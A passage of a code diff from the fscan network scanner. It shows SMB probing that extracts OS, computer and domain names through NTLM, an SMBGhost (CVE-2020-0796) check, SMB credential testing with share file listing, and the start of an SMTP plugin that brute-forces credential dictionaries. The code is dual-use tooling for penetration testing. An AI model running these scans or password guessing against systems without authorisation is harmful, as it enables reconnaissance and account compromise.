"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
// probeTarget 探测目标SMB信息(协议版本、系统信息)
|
||||
func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, error) {
|
||||
target := fmt.Sprintf("%s:%d", host, port)
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接失败: %w", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 首先尝试SMBv1协商
|
||||
_, err = conn.Write(smbv1NegotiatePacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv1协商包失败: %w", err)
|
||||
}
|
||||
|
||||
// 读取SMBv1协商响应
|
||||
r1, err := readSMBMessage(conn)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("读取SMBv1协商响应失败: %v", err))
|
||||
}
|
||||
|
||||
// 检查是否支持SMBv1
|
||||
if len(r1) > 0 {
|
||||
return probeSMBv1(conn, target, timeout)
|
||||
}
|
||||
|
||||
// SMBv2路径
|
||||
return probeSMBv2(target, timeout)
|
||||
}
|
||||
|
||||
// probeSMBv1 处理SMBv1协议信息收集
|
||||
func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget, error) {
|
||||
// 发送Session Setup请求
|
||||
_, err := conn.Write(smbv1SessionSetupPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv1 Session Setup失败: %w", err)
|
||||
}
|
||||
|
||||
ret, err := readSMBMessage(conn)
|
||||
if err != nil || len(ret) < 45 {
|
||||
return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err)
|
||||
}
|
||||
|
||||
info := &SMBTarget{
|
||||
Protocol: SMBProtocol1,
|
||||
}
|
||||
|
||||
// 解析blob信息
|
||||
blobLength := bytesToUint16(ret[43:45])
|
||||
blobCount := bytesToUint16(ret[45:47])
|
||||
|
||||
if int(blobCount) > len(ret) {
|
||||
return info, nil
|
||||
}
|
||||
|
||||
gssNative := ret[47:]
|
||||
offNTLM := bytes.Index(gssNative, []byte("NTLMSSP"))
|
||||
if offNTLM == -1 {
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// 提取native OS和LM信息
|
||||
native := gssNative[int(blobLength):blobCount]
|
||||
ss := strings.Split(string(native), "\x00\x00")
|
||||
|
||||
if len(ss) > 0 {
|
||||
info.NativeOS = trimSMBString(ss[0])
|
||||
}
|
||||
if len(ss) > 1 {
|
||||
info.NativeLM = trimSMBString(ss[1])
|
||||
}
|
||||
|
||||
// 解析NTLM信息
|
||||
bs := gssNative[offNTLM:blobLength]
|
||||
parseNTLMChallenge(bs, info)
|
||||
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// probeSMBv2 处理SMBv2协议信息收集
|
||||
func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) {
|
||||
conn2, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SMBv2连接失败: %w", err)
|
||||
}
|
||||
defer func() { _ = conn2.Close() }()
|
||||
|
||||
_ = conn2.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 发送SMBv2协商包
|
||||
_, err = conn2.Write(smbv2NegotiatePacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv2协商包失败: %w", err)
|
||||
}
|
||||
|
||||
r2, err := readSMBMessage(conn2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMBv2协商响应失败: %w", err)
|
||||
}
|
||||
|
||||
// 构建NTLM数据包
|
||||
var ntlmData []byte
|
||||
if len(r2) > 70 && hex.EncodeToString(r2[70:71]) == "03" {
|
||||
flags := []byte{0x15, 0x82, 0x08, 0xa0}
|
||||
ntlmData = buildNTLMSSPData(flags)
|
||||
} else {
|
||||
flags := []byte{0x05, 0x80, 0x08, 0xa0}
|
||||
ntlmData = buildNTLMSSPData(flags)
|
||||
}
|
||||
|
||||
// 发送Session Setup
|
||||
_, err = conn2.Write(smbv2SessionSetupPacket)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv2 Session Setup失败: %w", err)
|
||||
}
|
||||
|
||||
_, err = readSMBMessage(conn2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMBv2 Session Setup响应失败: %w", err)
|
||||
}
|
||||
|
||||
// 发送NTLM协商包
|
||||
_, err = conn2.Write(ntlmData)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("发送SMBv2 NTLM包失败: %w", err)
|
||||
}
|
||||
|
||||
ret, err := readSMBMessage(conn2)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取SMBv2 NTLM响应失败: %w", err)
|
||||
}
|
||||
|
||||
ntlmOff := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if ntlmOff == -1 {
|
||||
return &SMBTarget{Protocol: SMBProtocol2}, nil
|
||||
}
|
||||
|
||||
info := &SMBTarget{
|
||||
Protocol: SMBProtocol2,
|
||||
}
|
||||
|
||||
parseNTLMChallenge(ret[ntlmOff:], info)
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// checkSMBGhost 检测CVE-2020-0796漏洞
|
||||
func checkSMBGhost(host string, timeout time.Duration) bool {
|
||||
addr := fmt.Sprintf("%s:445", host)
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if _, err = conn.Write([]byte(smbGhostPacket)); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
buff := make([]byte, 1024)
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil || n == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检测CVE-2020-0796特征
|
||||
if bytes.Contains(buff[:n], []byte("Public")) &&
|
||||
len(buff[:n]) >= 76 &&
|
||||
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
|
||||
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// SMBAuthenticator 统一认证接口
|
||||
type SMBAuthenticator interface {
|
||||
Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error)
|
||||
ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error)
|
||||
}
|
||||
|
||||
// SMB1Authenticator SMB1认证器
|
||||
type SMB1Authenticator struct{}
|
||||
|
||||
// Authenticate 执行SMB1认证
|
||||
func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) {
|
||||
options := smb.Options{
|
||||
Host: host,
|
||||
Port: port,
|
||||
User: cred.Username,
|
||||
Password: cred.Password,
|
||||
Domain: domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err != nil {
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMBError(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if session.IsAuthenticated {
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &smb1SessionWrapper{session},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
} else {
|
||||
session.Close()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("认证失败:用户名或密码错误"),
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result, nil
|
||||
case <-timeoutCtx.Done():
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: fmt.Errorf("连接超时"),
|
||||
}, nil
|
||||
case <-ctx.Done():
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
|
||||
// ListShares 列举SMB共享(SMB1使用SMB2库列举)
|
||||
func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
|
||||
return listSMBSharesInternal(host, port, cred, domain, timeout)
|
||||
}
|
||||
|
||||
// SMB2Authenticator SMB2认证器
|
||||
type SMB2Authenticator struct{}
|
||||
|
||||
// Authenticate 执行SMB2认证
|
||||
func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) {
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMBError(err),
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
d := &smb2.Dialer{
|
||||
Initiator: &smb2.NTLMInitiator{
|
||||
User: cred.Username,
|
||||
Password: cred.Password,
|
||||
Domain: domain,
|
||||
},
|
||||
}
|
||||
|
||||
s, err := d.DialContext(timeoutCtx, conn)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifySMBError(err),
|
||||
Error: fmt.Errorf("SMB2认证失败: %w", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 尝试列举共享来验证认证成功
|
||||
_, _ = s.ListSharenames()
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &smb2SessionWrapper{s, conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ListShares 列举SMB2共享
|
||||
func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
|
||||
return listSMBSharesInternal(host, port, cred, domain, timeout)
|
||||
}
|
||||
|
||||
// listSMBSharesInternal 内部共享列举实现
|
||||
func listSMBSharesInternal(host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
|
||||
target := net.JoinHostPort(host, strconv.Itoa(port))
|
||||
|
||||
conn, err := net.DialTimeout("tcp", target, timeout*2)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
d := &smb2.Dialer{
|
||||
Initiator: &smb2.NTLMInitiator{
|
||||
User: cred.Username,
|
||||
Password: cred.Password,
|
||||
Domain: domain,
|
||||
},
|
||||
}
|
||||
|
||||
s, err := d.Dial(conn)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = s.Logoff() }()
|
||||
|
||||
shares, err := s.ListSharenames()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var shareInfo []string
|
||||
systemShares := map[string]bool{
|
||||
"ADMIN$": true,
|
||||
"C$": true,
|
||||
"IPC$": true,
|
||||
}
|
||||
|
||||
for _, shareName := range shares {
|
||||
if systemShares[shareName] {
|
||||
continue
|
||||
}
|
||||
|
||||
fs, err := s.Mount(shareName)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
fileCount := 0
|
||||
maxFiles := 10
|
||||
_ = iofs.WalkDir(fs.DirFS("."), ".", func(path string, d iofs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if path != "." && fileCount < maxFiles {
|
||||
shareInfo = append(shareInfo, fmt.Sprintf(" [->] [%s] %s", shareName, path))
|
||||
fileCount++
|
||||
}
|
||||
|
||||
if fileCount >= maxFiles {
|
||||
return iofs.SkipDir
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
_ = fs.Umount()
|
||||
}
|
||||
|
||||
return shareInfo, nil
|
||||
}
|
||||
|
||||
// smb1SessionWrapper 包装SMB1会话以实现io.Closer
|
||||
type smb1SessionWrapper struct {
|
||||
session *smb.Session
|
||||
}
|
||||
|
||||
func (w *smb1SessionWrapper) Close() error {
|
||||
w.session.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// smb2SessionWrapper 包装SMB2会话以实现io.Closer
|
||||
type smb2SessionWrapper struct {
|
||||
session *smb2.Session
|
||||
conn io.Closer
|
||||
}
|
||||
|
||||
func (w *smb2SessionWrapper) Close() error {
|
||||
_ = w.session.Logoff()
|
||||
return w.conn.Close()
|
||||
}
|
||||
|
||||
// classifySMBError 统一SMB错误分类
|
||||
func classifySMBError(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
smbAuthErrors := []string{
|
||||
// 通用认证错误
|
||||
"invalid username",
|
||||
"invalid password",
|
||||
"authentication failed",
|
||||
"logon failed",
|
||||
"logon failure",
|
||||
"access denied",
|
||||
"permission denied",
|
||||
"unauthorized",
|
||||
"login failed",
|
||||
"bad username",
|
||||
"bad password",
|
||||
"wrong password",
|
||||
"incorrect password",
|
||||
"invalid credentials",
|
||||
"bad credentials",
|
||||
"authentication error",
|
||||
"auth failed",
|
||||
"login denied",
|
||||
"credential",
|
||||
"user not found",
|
||||
"invalid account",
|
||||
"account locked",
|
||||
"account disabled",
|
||||
"password expired",
|
||||
// SMB特定错误
|
||||
"smb: authentication failed",
|
||||
"smb: invalid user",
|
||||
"smb: invalid password",
|
||||
"smb: access denied",
|
||||
"smb: logon failure",
|
||||
"smb: bad password",
|
||||
"smb: user unknown",
|
||||
"smb: wrong password",
|
||||
"smb: login failed",
|
||||
"smb: unauthorized",
|
||||
"smb2认证失败",
|
||||
"ntlm authentication failed",
|
||||
"ntlm auth failed",
|
||||
// NT Status codes
|
||||
"nt_status_logon_failure",
|
||||
"nt_status_wrong_password",
|
||||
"nt_status_no_such_user",
|
||||
"nt_status_access_denied",
|
||||
"nt_status_account_disabled",
|
||||
"nt_status_account_locked_out",
|
||||
"nt_status_password_expired",
|
||||
"status_logon_failure",
|
||||
"status_wrong_password",
|
||||
"status_access_denied",
|
||||
"status_invalid_parameter",
|
||||
"status_no_such_user",
|
||||
"status_account_locked_out",
|
||||
"status_password_expired",
|
||||
"status_account_disabled",
|
||||
// 十六进制状态码
|
||||
"0xc000006d",
|
||||
"0xc0000022",
|
||||
"0xc000006a",
|
||||
"0xc0000064",
|
||||
"0xc0000234",
|
||||
}
|
||||
|
||||
return ClassifyError(err, smbAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// readSMBMessage 从连接读取NetBIOS消息
|
||||
func readSMBMessage(conn net.Conn) ([]byte, error) {
|
||||
headerBuf := make([]byte, 4)
|
||||
n, err := conn.Read(headerBuf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if n != 4 {
|
||||
return nil, fmt.Errorf("NetBIOS头部长度不足: %d", n)
|
||||
}
|
||||
|
||||
messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3])
|
||||
|
||||
if messageLength > 1024*1024 {
|
||||
return nil, fmt.Errorf("消息长度过大: %d", messageLength)
|
||||
}
|
||||
|
||||
if messageLength == 0 {
|
||||
return headerBuf, nil
|
||||
}
|
||||
|
||||
messageBuf := make([]byte, messageLength)
|
||||
totalRead := 0
|
||||
for totalRead < messageLength {
|
||||
n, err := conn.Read(messageBuf[totalRead:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
result := make([]byte, 0, 4+messageLength)
|
||||
result = append(result, headerBuf...)
|
||||
result = append(result, messageBuf...)
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// parseNTLMChallenge 解析NTLM Challenge消息
|
||||
func parseNTLMChallenge(data []byte, info *SMBTarget) {
|
||||
if len(data) < 32 {
|
||||
return
|
||||
}
|
||||
|
||||
if !bytes.Equal(data[0:8], []byte("NTLMSSP\x00")) {
|
||||
return
|
||||
}
|
||||
|
||||
if len(data) < 12 {
|
||||
return
|
||||
}
|
||||
messageType := bytesToUint32(data[8:12])
|
||||
if messageType != 2 {
|
||||
return
|
||||
}
|
||||
|
||||
// 解析Target Name
|
||||
if len(data) >= 20 {
|
||||
targetLength := bytesToUint16(data[12:14])
|
||||
targetOffset := bytesToUint32(data[16:20])
|
||||
|
||||
if targetLength > 0 && int(targetOffset) < len(data) && int(targetOffset+uint32(targetLength)) <= len(data) {
|
||||
targetName := parseUnicodeString(data[targetOffset : targetOffset+uint32(targetLength)])
|
||||
if targetName != "" {
|
||||
info.DomainName = targetName
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 解析Flags
|
||||
if len(data) >= 24 {
|
||||
flags := bytesToUint32(data[20:24])
|
||||
info.NTLMFlags = parseNTLMFlags(flags)
|
||||
}
|
||||
|
||||
// 解析Target Info (AV_PAIR结构)
|
||||
if len(data) >= 52 {
|
||||
targetInfoLength := bytesToUint16(data[40:42])
|
||||
targetInfoOffset := bytesToUint32(data[44:48])
|
||||
|
||||
if targetInfoLength > 0 && int(targetInfoOffset) < len(data) &&
|
||||
int(targetInfoOffset+uint32(targetInfoLength)) <= len(data) {
|
||||
targetInfoData := data[targetInfoOffset : targetInfoOffset+uint32(targetInfoLength)]
|
||||
parseTargetInfo(targetInfoData, info)
|
||||
}
|
||||
}
|
||||
|
||||
// 解析OS版本信息
|
||||
if len(data) >= 56 {
|
||||
flags := bytesToUint32(data[20:24])
|
||||
if flags&0x02000000 != 0 && len(data) >= 56 {
|
||||
parseOSVersion(data[48:56], info)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// parseTargetInfo 解析Target Information
|
||||
func parseTargetInfo(data []byte, info *SMBTarget) {
|
||||
offset := 0
|
||||
|
||||
for offset+4 <= len(data) {
|
||||
avId := bytesToUint16(data[offset : offset+2])
|
||||
avLen := bytesToUint16(data[offset+2 : offset+4])
|
||||
|
||||
if avId == 0x0000 {
|
||||
break
|
||||
}
|
||||
|
||||
if offset+4+int(avLen) > len(data) {
|
||||
break
|
||||
}
|
||||
|
||||
value := data[offset+4 : offset+4+int(avLen)]
|
||||
|
||||
switch avId {
|
||||
case 0x0001: // MsvAvNbComputerName
|
||||
computerName := parseUnicodeString(value)
|
||||
if computerName != "" {
|
||||
info.ComputerName = computerName
|
||||
}
|
||||
case 0x0002: // MsvAvNbDomainName
|
||||
if info.DomainName == "" {
|
||||
domainName := parseUnicodeString(value)
|
||||
if domainName != "" {
|
||||
info.DomainName = domainName
|
||||
}
|
||||
}
|
||||
case 0x0003: // MsvAvDnsComputerName
|
||||
if info.ComputerName == "" {
|
||||
dnsComputerName := parseUnicodeString(value)
|
||||
if dnsComputerName != "" {
|
||||
info.ComputerName = dnsComputerName
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
offset += 4 + int(avLen)
|
||||
}
|
||||
}
|
||||
|
||||
// parseOSVersion 解析操作系统版本
|
||||
func parseOSVersion(data []byte, info *SMBTarget) {
|
||||
if len(data) < 8 {
|
||||
return
|
||||
}
|
||||
|
||||
majorVersion := data[0]
|
||||
minorVersion := data[1]
|
||||
buildNumber := bytesToUint16(data[2:4])
|
||||
|
||||
var osName string
|
||||
switch {
|
||||
case majorVersion == 10 && minorVersion == 0:
|
||||
if buildNumber >= 22000 {
|
||||
osName = "Windows 11"
|
||||
} else {
|
||||
osName = "Windows 10"
|
||||
}
|
||||
case majorVersion == 6 && minorVersion == 3:
|
||||
osName = "Windows 8.1/Server 2012 R2"
|
||||
case majorVersion == 6 && minorVersion == 2:
|
||||
osName = "Windows 8/Server 2012"
|
||||
case majorVersion == 6 && minorVersion == 1:
|
||||
osName = "Windows 7/Server 2008 R2"
|
||||
case majorVersion == 6 && minorVersion == 0:
|
||||
osName = "Windows Vista/Server 2008"
|
||||
case majorVersion == 5 && minorVersion == 2:
|
||||
osName = "Windows XP x64/Server 2003"
|
||||
case majorVersion == 5 && minorVersion == 1:
|
||||
osName = "Windows XP"
|
||||
case majorVersion == 5 && minorVersion == 0:
|
||||
osName = "Windows 2000"
|
||||
default:
|
||||
osName = fmt.Sprintf("Windows %d.%d", majorVersion, minorVersion)
|
||||
}
|
||||
|
||||
info.OSVersion = fmt.Sprintf("%s (Build %d)", osName, buildNumber)
|
||||
}
|
||||
|
||||
// 辅助函数
|
||||
func bytesToUint16(b []byte) uint16 {
|
||||
if len(b) < 2 {
|
||||
return 0
|
||||
}
|
||||
return uint16(b[0]) | uint16(b[1])<<8
|
||||
}
|
||||
|
||||
func bytesToUint32(b []byte) uint32 {
|
||||
if len(b) < 4 {
|
||||
return 0
|
||||
}
|
||||
return uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24
|
||||
}
|
||||
|
||||
func trimSMBString(s string) string {
|
||||
return strings.Trim(strings.TrimSpace(s), "\x00")
|
||||
}
|
||||
|
||||
func parseUnicodeString(data []byte) string {
|
||||
if len(data)%2 != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var runes []rune
|
||||
for i := 0; i < len(data); i += 2 {
|
||||
if i+1 >= len(data) {
|
||||
break
|
||||
}
|
||||
r := uint16(data[i]) | uint16(data[i+1])<<8
|
||||
if r == 0 {
|
||||
break
|
||||
}
|
||||
runes = append(runes, rune(r))
|
||||
}
|
||||
return string(runes)
|
||||
}
|
||||
|
||||
func parseNTLMFlags(flags uint32) []string {
|
||||
flagNames := map[uint32]string{
|
||||
0x00000001: "NEGOTIATE_UNICODE",
|
||||
0x00000002: "NEGOTIATE_OEM",
|
||||
0x00000004: "REQUEST_TARGET",
|
||||
0x00000010: "NEGOTIATE_SIGN",
|
||||
0x00000020: "NEGOTIATE_SEAL",
|
||||
0x00000200: "NEGOTIATE_NTLM",
|
||||
0x00080000: "NEGOTIATE_EXTENDED_SESSIONSECURITY",
|
||||
0x02000000: "NEGOTIATE_VERSION",
|
||||
0x20000000: "NEGOTIATE_128",
|
||||
0x80000000: "NEGOTIATE_56",
|
||||
}
|
||||
|
||||
var activeFlags []string
|
||||
for flag, name := range flagNames {
|
||||
if flags&flag != 0 {
|
||||
activeFlags = append(activeFlags, name)
|
||||
}
|
||||
}
|
||||
|
||||
return activeFlags
|
||||
}
|
||||
|
||||
func buildNTLMSSPData(flags []byte) []byte {
|
||||
return []byte{
|
||||
0x00, 0x00, 0x00, 0x9A, 0xFE, 0x53, 0x4D, 0x42, 0x40, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x00,
|
||||
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x58, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x60, 0x40, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05,
|
||||
0x05, 0x02, 0xA0, 0x36, 0x30, 0x34, 0xA0, 0x0E, 0x30, 0x0C,
|
||||
0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
|
||||
0x02, 0x0A, 0xA2, 0x22, 0x04, 0x20, 0x4E, 0x54, 0x4C, 0x4D,
|
||||
0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
flags[0], flags[1], flags[2], flags[3],
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,569 @@
|
||||
//go:build plugin_smtp || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/smtp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// SMTPPlugin SMTP扫描插件
|
||||
type SMTPPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewSMTPPlugin() *SMTPPlugin {
|
||||
return &SMTPPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("smtp"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
// 生成密码字典
|
||||
credentials := plugins.GenerateCredentials("smtp", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "smtp",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 转换凭据类型
|
||||
creds := make([]Credential, len(credentials))
|
||||
for i, c := range credentials {
|
||||
creds[i] = Credential{Username: c.Username, Password: c.Password}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("smtp_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建SMTP认证函数
|
||||
func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doSMTPAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doSMTPAuth 执行SMTP认证
|
||||
func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
